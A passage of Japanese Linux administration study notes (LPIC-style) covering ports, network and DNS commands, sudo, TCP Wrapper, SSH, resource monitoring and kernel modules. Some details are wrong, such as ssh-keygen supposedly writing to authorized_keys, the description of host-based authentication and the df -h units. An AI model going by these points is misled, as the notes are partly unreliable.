-P プリンタ名指定したプリンタの印刷ジョブを削除

14.1.12 - 12.ネットワークの設定

Linuxのネットワークの設定に関して

12.1. ポート番号

Linuxにおいてポート番号とサービスとの対応は/etc/servicesに記述される。

番号トランスポート層上位サービス・プロトコル説明
20TCPFTPFTPのデータ転送
21TCP/UDPFTPFTPの制御情報
22TCPSSHSSH
23TCPTelnetTelnet接続
25TCP/UDPSMTP電子メール
53TCP/UDPDNSDNS
80TCPHTTPWeb
110TCPPOP3電子メール(受信)
123UDPNTPNTPサービス
139TCP/UDPNetBIOSMicrosoftネットワーク
143TCPIMAP電子メール(IMAP2/IMAP4)
161UDPSNMPネットワークの監視
162TCP/UDPSNMP Trapネットワークの監視(警告通知等)
389TCP/UDPLDAPディレクトリサービス
443TCP/UDPHTTP over SSL/TLSSSL/TLSによるHTTP接続
465TCPSMTP over SSL/TLSSSL/TLSによるSMTP接続
514UDPSyslogロギングサービス
636TCP/UDPLDAP over SSL/TLSSSL/TLSによるディレクトリサービス
993TCP/UDPIMAP over SSL/TLSSSL/TLSによるIMAP接続
995TCP/UDPPOP3 over SSL/TLSSSL/TLSによるPOP3接続

12.2. ネットワークの基本設定

12.2.1. ネットワーク関連のコマンド

ifconfigコマンド

ネットワークインターフェースの状態を表示したり一時的な設定するコマンド。

ifconfig <ネットワークインターフェース名> <オプション>
オプション説明
IPアドレスネットワークインターフェースへのIPアドレスの割り当て
netmask サブネットマスクサブネットマスクの設定
up指定したインターフェースの起動(有効化)
down指定したインターフェースの停止(無効化)

ifup/ifdownコマンド

指定したネットワークインターフェースを起動(有効化)/停止(無効化)するためのコマンド。

ifup <インターフェイス>
ifdown <インターフェイス>

routeコマンド

Linuxマシン内でルーティングの設定を行えるコマンド。

route <オプション>
オプション説明
-Fカーネルのルーティングテーブルを表示
-Cカーネルのルーティングキャッシュを表示

route addコマンド

ルーティングテーブルに新たなルーティングを追加することができるコマンド。

route add <オプション> <ターゲット>
オプション説明
-netターゲットをネットワークとみなす
-hostターゲットをホストとみなす
netmaskサブネットマスクを指定
gwゲートウェイ(ネクストホップ)を指定

ipコマンド

NIC, ルーティングテーブル、ARPテーブルの管理が行えるコマンド。

ip <操作対象> [サブコマンド] [デバイス]
操作対象説明
linkデータリンク層
addrIPアドレス
routeルーティングテーブル
サブコマンド説明
show表示する
add設定する

12.2.2. ネットワークのトラブルシューティングコマンド

pingコマンド

ip通信の疎通確認コマンド。

ping <オプション> < IPアドレス | ホスト名 >
オプション説明
-c 回数パケットを送信する回数を指定
-i 秒パケットの送信間隔を秒単位で指定

tracerouteコマンド

指定したホストまでのパケットが通過する経路を表示させるコマンド。

traceroute < IPアドレス | ホスト名 >

tracepathコマンド

tracerouteコマンドと同様の機能に加えて、経路のMTUも設定できるコマンド。

tracepath < IPアドレス | ホスト名 >

hostコマンド

DNSサーバを使用して指定したホスト情報を検索するコマンド。

host < ホスト名 >

hostnameコマンド

現在のホスト名を表示とホスト名を変更できるコマンド。

hostname

netstatコマンド

TCP/IPの統計情報、接続状況、ルーティング情報などを調査できるコマンド。 解放ポートの確認によく利用される。

netstat <オプション>
オプション説明
-a接続待ち状態にあるソケットと、接続待ち状態にないソケットを表示
-cステータスを1秒ごとにリアルタイムで表示
-iネットワークインターフェースの状態を表示
-l接続待ち状態にあるソケットのみを表示
-nホスト、ポート、ユーザーなどの名前を解決せず、数値で表示
-p各ソケットが属しているプログラムのPIDと名前を表示
-rルーティングテーブルを表示
-tTCPポートのみを表示
-uUDPポートのみを表示

nc, ncatコマンド

ネットワーク通信の確認を行えるコマンド。

12.2.3. ネットワーク関連の設定ファイル

/etc/hostnameファイル

hostnameを設定するファイル。

/etc/hostsファイル

名前解決を記述するファイル。

/etc/network/interfacesファイル

Debian系でネットワークインタフェースの設定を記述するファイル。

/etc/sysconfig/network-scriptsディレクトリ

RedHat系で様々なネットワークインタフェースの設定ファイルを配置するディレクトリ。

12.2.4. NetworkManagerによる設定

RHEL7のデフォルトのネットワークサービス。 操作はnmcliコマンドで行う。

インストールは以下(RedHat系)

yum install -y NetworkManager

デーモンの起動は以下の通り。

systemctl start NetworkManager
systemctl status NetworkManager

インターフェイスの表示

nmcli connection show

インターフェイスの追加

nmcli connection add ifname [インターフェース名] type [インタフェースのタイプ]

インターフェイスの起動停止

nmcli connection up [インターフェース名]
nmcli connection down [インターフェース名]

12.3. DNSの設定

12.3.1. DNSの設定ファイル

設定ファイル説明
/etc/sysconfig/network,/etc/hostnameLinuxのホスト名の設定が行われる(RedHat系, Debian系)
/etc/hostsホスト名とIPアドレスの対応表
/etc/resolv.confDNSサーバやドメイン名の設定。直接触らずコマンドで設定する
/etc/nsswitch.conf名前解決の問い合わせ順の設定

12.3.2. DNS管理コマンド

hostコマンド

DNSサーバを使ってホストやドメインに関する情報を表示するコマンド。

host localhost

digコマンド

DNSサーバに対して問い合わせを行い、その応答結果を表示するコマンド。

 dig <オプション> <ドメイン名 or ホスト名> <検索タイプ>
オプション説明
-xIPアドレスからホスト名を検索
検索タイプ説明
aIPアドレス
any全ての情報
mxメールサーバの情報
nsネームサーバの情報

whoisコマンド

調べたいドメイン名を指定しwhoisデータベースに問い合わせるコマンド。

whois < ドメイン名 >

14.1.13 - 13.Linuxのセキュリティ

Linuxのセキュリティやsu/sudoコマンド、sshなどに関して

13.1. Linuxサーバのセキュリティの基本

Linuxをサーバとして運用する場合はセキュリティの観点から主に以下の3点を考える必要がある。

  1. ユーザセキュリティの管理
  2. ホストレベルセキュリティの管理
  3. システムリソースの使用制限

13.1.1. ユーザセキュリティの管理

ユーザーパスワードは定期的に変更したり有効期限を設定することがセキュリティの観念から重要である。

13.1.2. ホストレベルセキュリティの管理

システムのポート情報、プロセス情報の確認がセキュリティの観念から重要である。 具体的には不要なポートが開いていないかどうかを確認する。

13.1.3. システムリソースの使用制限

1人のユーザーに大量のリソースを使用されないように、各ユーザーが使用できるプロセス数などのリソースを制限することが可能。

13.2. ユーザセキュリティの管理

13.2.1. パスワード管理に関するコマンド

chageコマンド

パスワードに有効期限を設定、パスワード変更の強制、アカウントの期限の設定が可能。 オプションを指定せずにchageコマンドを実行した場合は、対話モードで実行される。

chage < オプション > < ユーザー名 >
オプション説明
-lパスワードまたはアカウントの有効期限を表示
-mパスワード変更間隔の最低日数を設定
-Mパスワードの最大有効期限の日数を設定
-dパスワードの最終更新日を設定
-Wパスワードの有効期限切れの警告が何日前から始まるかを設定
-Iパスワードの有効期限後、アカウントロックされるまでの日数を設定
-Eユーザーアカウントが無効になる日付を設定

13.2.2. ログインの禁止設定

/etc/nologinファイル

このファイルの存在によりroot以外でのログインを禁止できる

/bin/false,/sbin/nologinファイル

ログインさせない用に制御するためのシェルファイル。 ユーザーアカウントは必要であるがユーザがログインしてシェルを利用するのは好ましくないケースで使用する。

13.2.3. ユーザーの切り替え

普段は一般ユーザ、権限が必要なときだけrootでアクセスする。

suコマンド

一時的に別ユーザになるコマンド。

su - hogehoge

sudoコマンド

特定の管理者コマンドのみを実行するコマンド。

sudo <コマンド>

なお設定は/etc/sudoersで設定、または/etc/sudoers.d/ディレクトリ以下にファイルを追加することによる設定が可能。 なお直接ファイルを編集すのではなくvisudoコマンドで設定を行う。

visudoコマンド

sudoコマンドを実行できるユーザに対するコマンドを定義できるコマンド。 書式は以下の通り。

ユーザー名 ホスト名=(実行ユーザー名) コマンド

13.2. ホストレベルセキュリティの管理

13.2.1. ホストへのアクセス

ホストのセキュリティを考える際以下点を注意することがセキュリティとして重要になる。

内部からのアクセスへの対策

  • 適切なユーザーパスワード管理
  • root権限で動作するプログラムを最小限にする

外部からのアクセスへの対策

  • 必要なソフトウェアのみインストールする
  • 不要なサービスを起動しない
  • ホストレベルの適切なアクセス制御
  • パケットフィルタリング
  • セキュリティ情報の確認を頻繁にする

13.2.2. スーパサーバの設定と管理

スーパサーバ

スーパーサーバは他のサーバプログラムに変わってサービス要求を監視して、接続確立時に本来のサーバプログラムに要求を引き渡すシステム。 これにより必要時に個々のサーバプログラムを起動することでリソースを効率的に使用することが可能。 またTCPラッパーと組み合わせることで、アクセス制御を集中管理できる。

FTPやsshサーバなどの接続頻度の高くないサーバに向いている。

スーパサーバの種類

スーパサーバにはinetdxinetdがあり、xinetdが多くのディストリビューションで採用されている。

https://www.infraexpert.com/infra/study10.html https://wand-ta.hatenablog.com/archive/category/LPIC

xinetdの設定

全体の設定は/etc/xinetd.conf、サービスごとの設定は/etc/xinetd.d/以下で設定可能。

全体設定のファイル(/etc/xinetd.conf)

 defaults
 {

   instances        = 60 # 各サービスにおける最大デーモン数
   log_type         = SYSLOG authpriv # ログの出力方法
   log_on_success   = HOST PID # 接続許可時にログに記録する内容
   log_on_failure      = HOST # 接続拒否時にログに記録する内容
   cps              = 25 30 # 1秒間に接続可能な最大コネクション数 ・ 限度に達した時のサービス休止の秒数

 }

 includedir /etc/xinetd.d # 各サービスごとの設定ファイルを格納するディレクトリ

なお設定後は/etc/init.d/xinetd restartで再起動が必要。

inetdの設定

全体の設定は/etc/inetd.conf、サービスごとの設定は/etc/inetd.d/以下で設定可能。 inetdは現在はほとんど使用されていない。

13.2.3. TCP Wrapper

TCP Wrapperはセキュリティソフトウェアで、通信で使用するTCPポートを把握していて、アクセス制御を行ったり、通信ログを保存することが可能。

具体的には外部からアクセスしてくるポートの細かい制限を行うことができる。 設定は以下2ファイルを用いて行う。

設定ファイル説明
/etc/hosts.allowアクセス制御の許可設定を行うファイル
/etc/hosts.denyアクセス制御の拒否設定を行うファイル

書式は以下形式で記述する。

デーモン名 : ホスト名またはIPアドレス

13.4. システムリソースの使用制限

13.4.1. システムリソースの制限を行うコマンド

ulimitコマンド

ユーザが利用できるリソースを制限するコマンド。 1人のユーザが全てを使い切り、システムが停止する可能性を制限する。

ulimit <オプション>
オプション意味
-a制限の設定値をすべて表示
-c サイズ生成されるコアファイルのサイズを指定
-f サイズシェルが生成できるファイルの最大サイズ
-n 数同時に開くことのできるファイルの最大数
-u プロセス数1人のユーザが利用できる最大プロセス数
-v サイズシェルとその子プロセスが利用できる最大仮想メモリサイズを指定する

13.5. SSHの設定

13.5.1. SSH

SSHの基礎

SSHはネットワークに接続した機器を遠隔操作するために使用するL7層のプロトコル。

sshコマンド

ssh接続を行うコマンド。telnetより安全性が高い。

ssh <オプション> <接続先ホスト>
オプション説明
-1SSHプロトコルバージョン 1 を使用
-2SSHプロトコルバージョン 2 を使用
-l ユーザ名ログインユーザー名を指定
-p ポート番号リモートホスト接続時に使用するポート番号を指定
-i 秘密鍵ファイル秘密鍵の指定
-o StrictHostKeyChecking=noホストキーの検証回避

ユーザーがログインしてシェルあるいはコマンドを実行する直前にSSHは、/etc/sshrcファイルに記述されているコマンドを実行する。

SSHでの接続時にはログイン時と同様、全ユーザー共通の設定ファイル(/etc/sshrc)とユーザー毎に読み込まれる設定ファイル(~/.ssh/.config)が読み込まれる。

scpコマンド

SSHの仕組みでホスト間で安全にファイルをやりとりするコマンド。

scp <オプション> コピー元パス 保存先パス
オプション説明
-i 鍵ファイルssh接続に使用する鍵ファイルを指定する
-P ポート番号(sshのポートを変更している場合などに)接続に使用するポートを指定する
-pコピー元のタイムスタンプやパーミッションを保持する
-rディレクトリごと再帰的にコピーする

13.5.2. SSH鍵の生成

ssh-keygenコマンド

SSHで公開鍵と秘密鍵のペアを作成するコマンド。 一般的には暗号化にはRSAを使用したほうが良い。

ssh-keygen <オプション>
オプション説明
-p既存の秘密鍵ファイルのパスフレーズを変更
-t生成する鍵の種類( rsa1 または rsa または dsa )を指定
-b鍵の長さを指定(2048など)

RSA暗号方式の鍵を生成した場合、秘密鍵と公開鍵は次のファイルパスに生成する。 また、生成した公開鍵は、~/.ssh/authorized_keysに公開鍵リストとして追加される。

説明
秘密鍵~/.ssh/id_rsa
公開鍵~/.ssh/id_rsa.pub

13.5.3. SSHのホストベース認証

ホストベース認証はSSHサーバに登録済みのホストからSSH通信があった場合にそのユーザーを信用して接続を許可する認証。 サーバの正当性確認するものとなっている。 このとき、SSHサーバとクライアントはユーザー認証を行わずホストの認証のみを行う。

認証手順は以下の通り。

  1. サーバの公開鍵をクライアントに送る
  2. クライアント側で保存されているサーバの公開鍵(場所は~/.ssh/known_hosts)と一致確認

またホストベース認証の鍵のファイルパスは以下に配置される。

暗号化方式鍵のファイルパス
RSA秘密鍵/etc/ssh_host_rsa_key
RSA公開鍵/etc/ssh_host_rsa_key.pub

13.5.4. 公開鍵認証

公開鍵認証はユーザ認証の方式の1つ。 認証フローは以下の通り。

  1. クライアント側で鍵ペア作る(ssh-keygen)
  2. クライアントの公開鍵をホストに渡す
  3. クライアントの鍵が使用できるか確認する
  4. クライアントの秘密鍵で署名を作る
  5. サーバに送る
  6. サーバ側の、クライアント公開鍵で署名を検証する

13.5.5. SSH Agent

SSH Agentは秘密鍵ファイルを使用する際にパスワード認証なしにログインすることができる仕組み。 秘密鍵をメモリ上に保存しておいて必要時に利用するようにすることで実現している。

利用は以下のように行う。

  1. ssh-agentの子プロセスとしてbashシェルの起動(ssh-agent bash)
  2. ssh-addコマンドを使用して秘密鍵を登録

13.5.6. OpenSSH

OpenSSHは高いセキュリティでリモートホスト間通信できる仕組み。 SSH v1系、v2系両対応しており、ファイル転送、リモート操作が可能。

認証機能と暗号化が含まれる。

OpenSSHのインストール

インストールする際のパッケージは以下表の通り。 また設定ファイルは/etc/sshd_configとなる。

clientserver
Ubuntu, Debianopenssh-clientopenssh-server
Ret Hat系openssh, openssh-clientopenssh-server

サーバの起動はSysVinitのRedHat系で/etc/init.d/sshd start、Debian系で/etc/init.d/ssh startとなる。 またSystemdではsystemctl start sshd.serviceとなる。

13.5.7. GnuPG

GPG(GnuPG)はファイルの暗号化と復号が行えるOSSソフトウェア。 公開鍵暗号を使用してファイルの暗号化と復号、電子署名することが可能。

GnuPGを使用するためにはgpgコマンドを使用する。

14.2 - 2.Linuxサーバの構築/運用基礎

LPIC Lv2の範囲(ストレージ管理、ネットワーク管理、死活管理)など。Linuxサーバの基本はこの項目でカバー、Apache,Nginx、Samba, iptables, DNS, S.M.A.R.Tなどもこの項目で扱う。

14.2.1 - 1.キャパシティプランニング

Linuxサーバのリソース見積もり方法に関する説明

1.1. キャパシティプランニング

1.1.1.キャパシティプラニングとは

キャパシティプランニングはシステムのリソースが将来的にも不足しないようにするための設計することをいう。 具体的には以下パラメータに注目/監視を行いリソースを見積もることで実現する。

  • CPU
  • メモリ
  • ディスク
  • ネットワーク帯域

キャパシティプランニングではシステムが最大どれだけのリソースを必要とするか測定を行うことで必要なリソースを見積もる。 また、システムパフォーマンスのボトルネックになるものには以下のようなものがある。

  • ディスクI/O
  • スワップの利用率
  • ネットワークI/O

1.1.2. パフォーマンスチューニング

パフォーマンスチューニングは効率よくシステム上のリソースを使えるようにさまざまな設定を調整すること

1.2. リソース使用率とトラブルシューティング

リソース使用率の測定では現時点における各種リソースの利用状況を計測を行う。 これはキャパシティプランニングやパフォーマンスチューニングのために実施する。

1.2.1. 総合的なリソース使用率の測定

各コマンドで確認できる項目は以下の通り。

  • CPU
    • システム全体CPU使用率の表示
      • top(htop), vmstat, iostat, mpstat ALL
    • プロセスごとのCPU使用率表示
      • top(htop) ps aux
    • CPUの平均負荷の表示
      • top(htop), uptime, w
  • 物理メモリ
    • システム全体物理メモリ使用率の表示
      • top(htop), free, vmstat, sar -r
    • プロセスごとの物理メモリ使用率の表示
      • top(htop), ps aux
  • スワップ領域
    • スワップ領域の使用状況の表示
      • top(htop), free, vmstat, sar -S, swapon -s
    • スワップイン/アウトの表示
      • vmstat
  • ディスクI/O
    • iostat, iotop, vmstat, sar -b
  • ネットワークI/O
    • iptraf, netstat -i/-s, sar -n DEV|EDEV
  • プロセスのPID
    • pstree -p, ps aux, top, lsof

topコマンド

システムリソースの使用状況やプロセスの実行状況などを継続的に表示することができるコマンド。

top [オプション]
オプション説明
-b対話モードではなくバッチモードで実行する
-d 秒表示をする間隔を指定する
-n 回指定した回数だけ更新すると終了する
-u ユーザ指定したUIDのプロセスのみ監視する
-p PID指定するPIDのプロセスのみ実行する

実行した結果は以下の通り。

TOP

htopコマンド

全体およびプロセスごとのCPUやメモリの使用状況を一定時間ごとに更新して表示するコマンド。

htop

vmstatコマンド

物理メモリやスワップ領域の詳細な情報やプロセスやCPUの統計情報などを継続的に表示するコマンド。 スワップやブロックのI/Oの値を出力可能。

vmstat [表示間隔() [回数]]

VMASTAT

iostatコマンド

CPUの利用状況およびディスクI/Oの状況などを継続的に表示するコマンド。

iostat [オプション] [表示間隔() [回数]]
オプション説明
-cCPU使用率のみを出力する
-dディスクI/O情報のみを出力する
-kブロック単位ではなくKB単位で表示する
-t時間を表示する

IOASTAT

iotopコマンド

ディスクI/Oの情報がプロセスごとに表示するコマンド。

iotop

IOTOP

sarコマンド

システムのアクティビティ情報を定期的に収集し報告するためのコマンド。 sysstatパッケージに含まれる。sysstatdが有効になると/var/log/saX(Xは数字)でログが格納される。 定期的な実行を比較的簡易に導入できる/usr/lib/sa/sa1(sadcの定期的な実行),/usr/lib/sa/sa2(sarの定期的な実行)というスクリプトが用意されている。

具体的には以下のシステムのパフォーマンスを詳細に確認するために用いられる。

  • CPUの使用率
  • メモリ使用量
  • I/O活動
  • ネットワーク使用
sar [オプション] [ 時間間隔(回数) ]
オプション説明使用例
-A全てのオプションを表示sar -A
-uCPU使用率を表示sar -u 1 3
-P指定したCPUの使用率表示sart -P 1
-r物理メモリ使用状況を表示sar -r 1 3
-bディスクI/O操作に関する情報を表示sar -b 1 3
-Sスワップ領域の使用状況を表示sar -S 1 3
-n DEVネットワークI/Oの統計を表示sar -n DEV 1 3
-n EDEVネットワークI/Oのエラー統計を表示sar -n EDEV 1 3
-dディスクI/O統計を表示sar -d 1 3
-qシステムの負荷平均値を表示sar -q 1 3
-Wスワップ領域の情報を表示するsar -W 1 3
-fデータを取り出すログファイル指定sar -f logging.log
-o [file]バイナリ形式で[file]に出力sar -o outputfile 1 3

sadfコマンド

sadcコマンドによるログをTSVやXML形式に出力するコマンド。

sadf [オプション] -- [ sarコマンドのオプション ]
オプション説明
-jJSON形式で出力
-xXML形式で出力
-tロケール日時で表示
sarコマンドに渡す

uptimeコマンド

システムの稼働時間や負荷平均などを表示するコマンド。 topの上部とほぼ同じ。

uptime

表示されるload average1, 5, 15分での平均で表示される。

wコマンド

現在ログインしているユーザとそのプロセス情報を表示するコマンド。 システムの稼働時間や負荷平均も表示できる。

w [オプション] [ユーザ名]
オプション説明
-hヘッダを非表示
-sログイン時刻、JCPU、PCPUを表示しない

1.2.2. CPU使用率の測定

psコマンド

稼働中のプロセスおよび、プロセス毎のCPUやメモリの使用量を表示するコマンド。

ps [オプション]
ps aux # すべてのプロセス表示
オプション意味
a端末を持つ全てのプロセスを表示する
eコマンド名の後に環境変数などを表示する
x端末を持たない全てのプロセスを表示する
u実行ユーザ名も表示する
r実行中のプロセスだけを表示する
l長いフォーマットで表示する
-C コマンドリスト実行ファイル名を指定して表示する
-u ユーザーリストユーザーを指定して表示する
-eすべてのプロセスを表示
-f引数を含めた完全フォーマットで表示
-lロング形式で表示
-p PIDPIDで選択
-t tty端末名で選択
-u UIDユーザIDで選択

pstreeコマンド

動作中のプロセスの親子関係をツリー状で表示するコマンド。

pstree

lsofコマンド

ファイルを開いているプロセスを表示するコマンド。

lsof

iostatコマンド

CPUの利用状況およびディスクI/Oの状況などを表示するコマンド。

iostat

mpstatコマンド

マルチプロセッサシステムのCPUの使用状況を表示するコマンド。

mpstat

1.2.3. メモリ/スワップ領域使用量の測定

freeコマンド

メモリやスワップ領域の使用状況を表示するコマンド。

free [オプション]

swaponコマンド

スワップ領域を有効/確認するコマンド。 -sオプションでスワップ領域の利用状況を確認できる。

swapon

1.2.4. ディスク使用量の測定

dfコマンド

ディスクの使用量、使用割合を計測できるコマンド。

df [オプション]
オプション意味
-aすべてのファイルシステムの情報を表示
-h1MB=1024MBで表示
-H1MB=1000KBで表示
-iiノードの使用状況を表示
-lローカルファイルシステムの表示
-mMB単位で表示
-Tファイルシステムタイプの表示

iotopコマンド

ディスクI/Oの情報がプロセスごとに確認できるコマンド。

iotop

1.2.4. ネットワークトラフィック量の測定

netstatコマンド

ネットワークの状態に関する情報を表示するコマンド。

netstat
オプション説明
-iネットワークインターフェースの状態を表示
-sプロトコル毎にパケットの送受信に関する情報を表示

ssコマンド

netstatの後継のコマンド。 -sコマンドで接続状態統計を確認可能。

ss -s

netserver/netperfコマンド

netserverコマンドはサーバ側で接続待ちするコマンド。 ポートはデフォルトで12865番が使用される。

netperfコマンドでサーバに接続し通信速度を計測する

iptrafコマンド

ネットワークのトラフィックをモニターした情報が表示できるコマンド

iptraf

1.3. リソース需要の分析と予測

1.3.1. リソース監視系ツール

リソースの監視は各種コマンドでも実行できるが、OSSのツールを用いることで効率的に監視が可能となる。 監視ツールにおいてリソースの状態の測定(監視)する場合はSNMPで行われる。

Collectd

サーバ状態を監視するデーモンプログラム。 システムにかかる負荷が少ない特徴がある。

データの監視と記録を行うには/etc/collectd.confで設定を行う。 Catciなどと合わせて使用することが多い。

なおデータの監視・記録にはプラグインを追加する必要があり、設定ファイルの/etc/collectd.confLoadPluginで指定する。

Nagios

サーバの動作確認(死活監視)、ネットワークサービス状態/リソース使用状況の監視が行えるOSSソフトウェア

MRTG

ネットワークやリソースの使用状況を監視しグラフ化するツール。 死活監視は行えない。

Catcti

ネットワークやリソースの使用状況を監視しグラフ化するツール。 WEBブラウザ上で設定を行うことができる。 MRTGより設定が容易という特徴がある。

Icinga2

Nagios互換の監視ツール。 WebAPIを使って監視情報のやりとりを行うといったNagiosにない機能を追加されている。 そのためオブジェクト管理を主体とした監視環境を提供する。

14.2.2 - 2.Linuxカーネル

Linuxカーネルやデバイスファイルなどに関して

2.1. カーネルの構成要素

2.1.1. カーネルバージョン

カーネルにはバージョン番号が付けられており、「3.X.Y」の形のようにあらわされる。

  • 2.6より前の場合
    • Xの部分が偶数で安定版、奇数で開発版を示す
    • Yの部分が開発版の修正版を表す場合がある
  • 2.6以降の場合
    • 正式版かどうかの判断に番号の偶奇は関係ない
    • -の後に続く記号によって判断する

なおカーネルバージョンを知るにはuname -rコマンド、もしくは/proc/versionの確認で可能となる。 またusr/src/kernel/hogehogemakefileを確認することでも可能。

Linuxカーネルのカテゴリ

リリースされるLinuxカーネルは主に以下の4つのカテゴリに分類される。

  • prepatch(プレパッチ) … リリース候補
  • mainline(メインライン)… prepatchの後にリリースされる正式版
  • stable(ステーブル)… mainlineの後にリリースされる安定版
  • longterm(ロングターム) … stableから選ばれ新しいカーネルに行われたものと同様のバグフィックスが行われるリリース

Linuxカーネルのアーカイブの内容

Linuxカーネルはtar.gz形式、またはtar.xz形式でアーカイブして配布され以下内容が含まれる。

  • カーネルソース
  • カーネルモジュールのソース
  • ドキュメント
  • Makefile

2.1.2. カーネルイメージ

カーネルイメージはイメージファイルとして格納されたLinuxカーネルのこと。 カーネルイメージは/boot/vmlinuz*という名称で保存されている。

カーネルイメージの形式

カーネルイメージにはzImagebzImageがある。 なおこれらはgzipで圧縮されている。

  • zImage
    • 512KB以下のイメージのみ扱える
    • ローメモリを使用
  • bzImage
    • ハイメモリを使用

2.2. カーネルモジュールの管理

2.2.1. カーネルモジュール

Linuxカーネルはローダブルモジュールのサポートを有効化するとカーネル機能の一部をモジュール化して、必要なときのみ読み込むことができる。 この機能でカーネル起動時間の短縮、多様なハードウェアへの対応が可能。

具体的には頻繁に利用するデバイスのドライバはLinuxカーネルに組み込み、利用頻度の低いドライバはモジュール化するのが良い。 なおカーネルモジュールの拡張子は.koとなる。

2.2.2. カーネルモジュールの操作コマンド

lsmodコマンド

現在ロードされているすべてのモジュールを一覧表示するコマンド。 モジュール名とそのサイズ、参照回数、モジュールの参照しているモジュール名などが表示される。

なお/proc/modulesからも参照が可能。

lsmod

modinfoコマンド

モジュール情報を表示するコマンド。

modinfo [オプション] [モジュール名]
オプション意味
-aモジュール作者情報の表示
-dモジュール説明の表示
-lモジュールライセンス表示
-nモジュールファイル名表示

insmodコマンド

ローダブルモジュールをロードするコマンド。 読み込む再依存関係がある場合、依存元のモジュールからロードする必要がある。

insmod [オプション] [モジュールパス]
オプション意味
-s結果を標準出力ではなくsyslogに出力する
-v詳細情報の表示

rmmodコマンド

ロードされているモジュールをアンロードするコマンド。 使用中、依存関係のあるモジュールはアンロードできない。

rmmod [オプション] [モジュール名]
オプション意味
-a未使用のモジュールをすべてアンロードする
-s動作結果を標準出力ではなくsyslogに出力する

modprobeコマンド

モジュールのロード/アンロードを行うコマンド。 このコマンドでは依存関係を調べ、インストールする必要のあるモジュールも自動ロードする特徴がある。

modprobe [オプション] [モジュール名]
オプション意味
-aすべてのモジュールのロード
-c現在使われている設定の表示
-rモジュールのアンロード
-C ファイル名設定ファイルの指定
-show-dependsモジュールの依存関係を表示

なおmodprobeが参照するモジュールの依存関係はmodules.depに記載。 このファイルは/lib/modules/カーネルバージョン以下にある。 記載方法は以下の通り。

モジュール名: 依存しているモジュール 依存しているモジュール

またモジュールのロード/アンロードの際に何かしら処理を行う場合は/etc/modprobe.confで設定を行う。

depmodコマンド

modules.depを作成するコマンド。 カーネルモジュールの依存関係情報を更新する

modprobeがにより参照される。

2.3. カーネルのコンパイル

カーネルは必要な場合はソースコードからコンパイルが可能。 これはカーネルの再構築と呼ばれる。 カーネルの再構築するケースは以下の通り。

  • 必要なデバイスドライバがカーネルに含まれていない
  • 使用しているハードウェアに最適したカーネルを利用したい
  • カーネルの最新機能を使いたい

2.3.1. カーネルコンパイルとインストール

カーネルのコンパイル手順は以下の通り。

  1. カーネルソースを用意する
  2. カーネルコンフィギュレーションの設定
  3. カーネルをコンパイル
  4. カーネルモジュールをコンパイル
  5. カーネルとカーネルモジュールを配置
  6. ブートローダの設定

カーネルソースの準備

カーネルソースコードは/usr/src/linux*に保存される。 カーネルソースコードのディレクトリには以下ディレクトリがある。

ディレクトリ名説明
archアーキテクチャ(i368, x86_64)に依存したコード
configsそれぞれの.config
crypto暗号処理関数
driversデバイスドライバ関連
fs仮想ファイルシステム/システムファイル関連
includeC言語のincludeファイル
init初期化用コード
ipcSystemV互換プロセス間通信関連ファイル
kernel各種カーネル機能
lib各種モジュール関連
mmメモリ管理関連
net各種ネットワークプロトコル関連
scriptsカーネル作成支援コマンド
Documentations各種ドキュメント
ファイル説明
.configカーネルのビルド設定ファイル
Makefilemakeの設定やカーネルバージョンの記載

なおxzファイルで圧縮されたカーネルソースの展開例は以下の通り。

xz -dc ファイル名.xz | tar xvf -

カーネルコンフィギュレーションの設定

カーネルの設定ファイルは.configに記載される。 カーネルの設定を新しい設定に反映させる場合は以下コマンドを実施する。

make oldconfig

このコマンドでは新しいカーネルで付け加えられた機能のみに対して問い合わせを行い、既存設定はそのままとなる。

カーネルの設定

カーネルの設定ではカーネルの機能を直接カーネルに埋め込むか、埋め込まずにローダブルモジュールにするか、組み込まないか設定が可能。

make config # カーネルオプションごとに答える形で設定
make menuconfig # メニュー形式で表示されているオプション項目を選択して設定
make oldconfig # 現在のカーネルの設定を引き継ぐ
make xconfig # KDE上で設定
make gconfig # GNOME上で設定

なおmake configmake menuconfigで行った設定は/usr/src/linux/.configに保存される。

カーネルとカーネルモジュールのコンパイル

makeコマンドを引数なしで実行するとカーネル、カーネルモジュール共にコンパイルされる。

make

カーネルとカーネルモジュールのインストール

カーネルモジュール(.ko)を適切なディレクトリに保存するにはmake modules_installコマンドを実行する。 なお保存先は/lib/modules/カーネル以下に保存される。

またカーネルのインストールはmake installコマンドで行える。 このコマンドは以下処理を行う。

  1. /boot以下にビルドされたカーネルをバージョンをファイル名にしてコピー
  2. 初期RAMディスクが必要な場合は作成
  3. ブートローダの設定ファイルに新しいカーネル用の起動設定を追加

makeコマンド

makeコマンドはソースコマンドをコンパイル、ビルドなどを行うコマンド。

make [ターゲット] 対象
ターゲット説明
clean.config以外のファイルを削除する
allすべてのビルドを実施
modulesカーネルモジュールをすべてビルドする
modules_installカーネルモジュールをインストール
rpmカーネルをビルド後にRPMパッケージを作成
rpm-pkgソースRPMパッケージの作成
defconfigデフォルト状態の設定ファイルを作る
mrproperカーネルツリーの初期化(設定ファイルもクリア可能)

なおカーネルのビルドと再構築はソールから以下のような手順で行う。

  1. 設定の初期化(make mrproper)
  2. 設定を行う(make oldconfig)
  3. ビルドを行う(make all)
  4. モジュールをインストール(make modules_install)
  5. カーネル本体をインストール(make install)

DKMS(Dynamic Kernel Module Support)

カーネルのソースツリー外にあるカーネルモジュールを自動的に生成する仕組み。

DKMSはカーネルアップデートの際に、カーネルとは独立して自動的にカーネルモジュールをコンパイルしインストールする。 現在、多くのディストリビューションがDKMSをパッケージに含んでいる。

2.4. カーネルのパラメータ変更

2.4.1. カーネルパラメータの設定

カーネルパラメータは以下目的で使用される。

  • 機能の有効化/無効化
  • システムパフォーマンスチューニング
  • システム情報の参照

設定はproc/sys/kernel以下のファイルで設定可能。

2.4.2. カーネルパラメータに関するコマンド

sysctlコマンド

カーネルパラメータを設定/表示できるコマンド。 なお再起動後もカーネルパラメータを永続変更したい場合は/etc/sysctl.confへの設定記述で可能。

sysctl [オプション] [パラメータ]
オプション意味
-a現在利用できるすべてのパラメータを表示する
-p指定したファイルから設定を読み込む(DFで/etc/sysctl.conf)
-wパラメータを更新する

2.4.3. 初期RAMディスク

RAMディスクはメモリ上にファイルシステムを作成する機能のことで、ループバックマウントはファイルをファイルシステムとしてマウントできる機能をいう。 この仕組みを利用してファイルとして用意されたファイルシステムをRAMディスクとしてメモリ上に展開し、そのうえで暫定的にカーネルを起動しその後に本来利用するルートファイルシステムをマウントする起動方法は初期RAMディスクと呼ばれる。

初期RAMディスクのイメージファイルの形式には以下2種類がある。

